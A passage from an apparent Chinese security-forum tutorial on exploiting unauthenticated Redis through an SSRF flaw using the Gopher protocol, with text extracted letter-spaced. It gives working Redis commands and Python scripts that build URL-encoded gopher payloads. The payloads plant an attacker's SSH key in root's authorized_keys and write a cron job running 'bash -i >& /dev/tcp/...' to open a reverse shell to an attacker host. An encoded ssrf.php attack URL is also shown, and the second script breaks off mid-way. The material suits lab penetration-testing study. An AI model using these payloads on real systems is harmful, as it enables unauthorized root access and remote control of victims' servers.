如 下 所 示 ， 成 功 在 受 害 主 机 上 面 写 入 W e b S h e l l ： 蚁 剑 连 接 成 功 ： 写 入 写 入 S S H 公 钥 公 钥 同 样 ， 我 们 也 可 以 直 接 这 个 存 在 R e d i s 未 授 权 的 主 机 的 ~ / . s s h 目 录 下 写 入 S S H 公 钥 ， 直 接 实 现 免 密 登 录 ， 但 前 提 是 ~ / . s s h 目 录 存 在 ， 如 果 不 存 在 我 们 可 以 写 入 计 划 任 务 来 创 建 该 目 录 。 首 先 在 攻 击 机 的 / r o o t / . s s h 目 录 里 生 成 s s h 公 钥 k e y ： 将 生 成 的 i d _ r s a . p u b 里 的 内 容 复 制 出 来 构 造 r e d i s 命 令 ： 然 后 编 写 脚 本 ， 将 其 转 化 为 G o p h e r 协 议 的 格 式 ： s s h - k e y g e n   - t   r s a f l u s h a l l s e t   1   ' s s h - r s a   A A A A B 3 N z a C 1 y c 2 E A A A A D A Q A B A A A B g Q C 9 6 S 6 9 J N d I O U W o H Y O v x p n Q x H A V Z H l 2 5 I k D F B z T b D I b J B B A B u 8 v q Z g 2 G F a W h T a 2 j S W q M Z i Y w y P i m r X s + X U 1 k b P 4 P 2 8 y F v o f u W R 6 f Y z g r y b e O 0 K X 7 Y m Z 4 x N 4 L W a Z Y E e C x z J r V 7 B U 9 w W Z I G Z i X 7 Y t 5 T 5 M 3 b O K o f x T q q M J a R P 7 J 1 F n 9 f R q 3 e P z 1 7 B U J N t m R x 5 4 I 3 C p U y i g c M S T v Q O a w w T t X a 1 Z c S 0 5 6 m j P r K H H B N B 2 / h K I N t J j 1 J X 8 R 5 U z + 3 s i x + M V s x A N T + x O M d j C q + + 1 s k S n P c z Q z 2 G m l v f A O b n g Q K 2 E q i m + 6 x e w O L + Z d 2 b T s W i L z L F p c F W J e o B 3 z 2 0 9 s o l G O S k F 8 n S Z K 1 r D J 4 F m Z A U v l 1 R L 5 B S e / L j J O 6 + 5 9 i h S R F W u 9 9 N 3 C J c R g X L m c 4 M A z O 4 L F F 3 n h t q 0 Y r I U i o 0 q K s O m t 1 3 L 0 Y g S H w 2 K z C N w 4 d 9 H l 3 w i I N 5 e j q E z t R i 9 7 x 8 n z A M 7 W v F q 7 1 f B d y b z p 8 e L j i R 8 o q 6 r o 2 2 8 B d s A J Y e v X Z P e V x j g a 4 P D t P k = r o o t @ k a l i ' c o n f i g   s e t   d i r   / r o o t / . s s h / c o n f i g   s e t   d b f i l e n a m e   a u t h o r i z e d _ k e y s s a v e i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = " 1 9 2 . 1 6 8 . 4 3 . 8 2 " p o r t = " 6 3 7 9 " s s h _ p u b = " n n s s h - r s a   A A A A B 3 N z a C 1 y c 2 E A A A A D A Q A B A A A B g Q C 9 6 S 6 9 J N d I O U W o H Y O v x p n Q x H A V Z H l 2 5 I k D F B z T b D I b J B B A B u 8 v q Z g 2 G F a W h T a 2 j S W q M Z i Y w y P i m r X s + X U 1 k b P 4 P 2 8 y F v o f u W R 6 f Y z g r y b e O 0 K X 7 Y m Z 4 x N 4 L W a Z Y E e C x z J r V 7 B U 9 w W Z I G Z i X 7 Y t 5 T 5 M 3 b O K o f x T q q M J a R P 7 J 1 F n 9 f R q 3 e P z 1 7 B U J N t m R x 5 4 I 3 C p U y i g c M S T v Q O a w w T t X a 1 Z c S 0 5 6 m j P r K H H B N B 2 / h K I N t J j 1 J X 8 R 5 U z + 3 s i x + M V s x A N T + x O M d j C q + + 1 s k S n P c z Q z 2 G m l v f A O b n g Q K 2 E q i m + 6 x e w O L + Z d 2 b T s W i L z L F p c F W J e o B 3 z 2 0 9 s o l G O S k F 8 n S Z K 1 r D J 4 F m Z A U v l 1 R L 5 B S e / L j J O 6 + 5 9 i h S R F W u 9 9 N 3 C J c R g X L m c 4 M A z O 4 L F F 3 n h t q 0 Y r I U i o 0 q K s O m t 1 3 L 0 Y g S H w 2 K z C N w 4 d 9 H l 3 w i I N 5 e j q E z t R i 9 7 x 8 n z A M 7 W v F q 7 1 f B d y b z p 8 e L j i R 8 o q 6 r o 2 2 8 B d s A J Y e v X Z P e V x j g a 4 P D t P k = r o o t @ k a l i n n " f i l e n a m e = " a u t h o r i z e d _ k e y s " p a t h = " / r o o t / . s s h / " p a s s w d = " "         #   此 处 也 可 以 填 入 R e d i s 的 密 码 ,   在 不 存 在 R e d i s 未 授 权 的 情 况 下 适 用 c m d = [ " f l u s h a l l " , " s e t   1   { } " . f o r m a t ( s s h _ p u b . r e p l a c e ( "   " , " $ { I F S } " ) ) , " c o n f i g   s e t   d i r   { } " . f o r m a t ( p a t h ) , " c o n f i g   s e t   d b f i l e n a m e   { } " . f o r m a t ( f i l e n a m e ) , " s a v e " ] i f   p a s s w d : c m d . i n s e r t ( 0 , " A U T H   { } " . f o r m a t ( p a s s w d ) ) p a y l o a d = p r o t o c o l + i p + " : " + p o r t + " / _ " d e f   r e d i s _ f o r m a t ( a r r ) : C R L F = " r n " r e d i s _ a r r   =   a r r . s p l i t ( "   " ) c m d = " " c m d + = " * " + s t r ( l e n ( r e d i s _ a r r ) ) f o r   x   i n   r e d i s _ a r r : c m d + = C R L F + " $ " + s t r ( l e n ( ( x . r e p l a c e ( " $ { I F S } " , "   " ) ) ) ) + C R L F + x . r e p l a c e ( " $ { I F S } " , "   " ) c m d + = C R L F r e t u r n   c m d i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " : f o r   x   i n   c m d : p a y l o a d   + =   u r l l i b . q u o t e ( r e d i s _ f o r m a t ( x ) ) p r i n t   p a y l o a d
执 行 该 脚 本 后 生 成 p a y l o a d ， 同 样 将 生 成 的 p a y l o a d 进 行 u r l 二 次 编 码 ， 然 后 利 用 受 害 机 上 的 S S R F 打 过 去 ： 如 下 图 ， 成 功 在 受 害 机 上 面 写 入 S S H 公 钥 ： 如 下 图 ， s s h 连 接 成 功 ： 创 建 计 划 任 务 反 弹 创 建 计 划 任 务 反 弹 S h e l l 注 意 ： 这 个 只 能 在 C e n t o s 上 使 用 ， 别 的 不 行 ， 原 因 上 面 已 经 说 过 了 。 构 造 r e d i s 的 命 令 如 下 ： 然 后 编 写 脚 本 ， 将 其 转 化 为 G o p h e r 协 议 的 格 式 ： p r i n t   p a y l o a d s s r f . p h p ? u r l = g o p h e r % 3 A % 2 F % 2 F 1 9 2 . 1 6 8 . 4 3 . 8 2 % 3 A 6 3 7 9 % 2 F _ % 2 5 2 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 8 % 2 5 0 D % 2 5 0 A f l u s h a l l % 2 5 0 D % 2 5 0 A % 2 5 2 A 3 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 % 2 5 0 D % 2 5 0 A s e t % 2 5 0 D % 2 5 0 A % 2 5 2 4 1 % 2 5 0 D % 2 5 0 A 1 % 2 5 0 D % 2 5 0 A r s a % 2 5 2 0 A A A A B 3 N z a C 1 y c 2 E A A A A D A Q A B A A A B g Q C 9 6 S 6 9 J N d I O U W o H Y O v x p n Q x H A V Z H l 2 5 I k D F B z T b D I b J B B A B u 8 v q Z g 2 G F a W h T a 2 j S W q M Z i Y w y P i m r X s % 2 5 2 B X U 1 k b P 4 P 2 8 y F v o f u W R 6 f Y z g r y b e O 0 K X 7 Y m Z 4 x N 4 L W a Z Y E e C x z J r V 7 B U 9 w W Z I G Z i X 7 Y t 5 T 5 M 3 b O K o f x T q q M J a R P 7 J 1 F n 9 f R q 3 e P z 1 7 B U J N t m R x 5 4 I 3 C p U y i g c M S T v Q O a w w T t X a 1 Z c S 0 5 6 m j P r K H H B N B 2 f l u s h a l l s e t   1   ' n n * / 1   *   *   *   *   b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 4 3 . 2 4 7 / 2 3 3 3   0 > & 1 n n ' c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / c o n f i g   s e t   d b f i l e n a m e   r o o t s a v e i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = " 1 9 2 . 1 6 8 . 4 3 . 8 2 " p o r t = " 6 3 7 9 " r e v e r s e _ i p = " 1 9 2 . 1 6 8 . 4 3 . 2 4 7 " r e v e r s e _ p o r t = " 2 3 3 3 " c r o n = " n n n n * / 1   *   *   *   *   b a s h   - i   > &   / d e v / t c p / % s / % s   0 > & 1 n n n n " % ( r e v e r s e _ i p , r e v e r s e _ p o r t ) f i l e n a m e = " r o o t " p a t h = " / v a r / s p o o l / c r o n " p a s s w d = " "         #   此 处 也 可 以 填 入 R e d i s 的 密 码 ,   在 不 存 在 R e d i s 未 授 权 的 情 况 下 适 用 c m d = [ " f l u s h a l l " , " s e t   1   { } " . f o r m a t ( c r o n . r e p l a c e ( "   " , " $ { I F S } " ) ) , " c o n f i g   s e t   d i r   { } " . f o r m a t ( p a t h ) , " c o n f i g   s e t   d b f i l e n a m e   { } " . f o r m a t ( f i l e n a m e ) , " s a v e " ] i f   p a s s w d : c m d . i n s e r t ( 0 , " A U T H   { } " . f o r m a t ( p a s s w d ) ) p a y l o a d = p r o t o c o l + i p + " : " + p o r t + " / _ " d e f   r e d i s _ f o r m a t ( a r r ) : C R L F = " r n " r e d i s _ a r r   =   a r r . s p l i t ( "   " ) c m d = " " c m d + = " * " + s t r ( l e n ( r e d i s _ a r r ) ) f o r   x   i n   r e d i s _ a r r : c m d + = C R L F + " $ " + s t r ( l e n ( ( x . r e p l a c e ( " $ { I F S } " , "   " ) ) ) ) + C R L F + x . r e p l a c e ( " $ { I F S } " , "   " ) c m d + = C R L F r e t u r n   c m d i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " : f o r   x   i n   c m d :
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理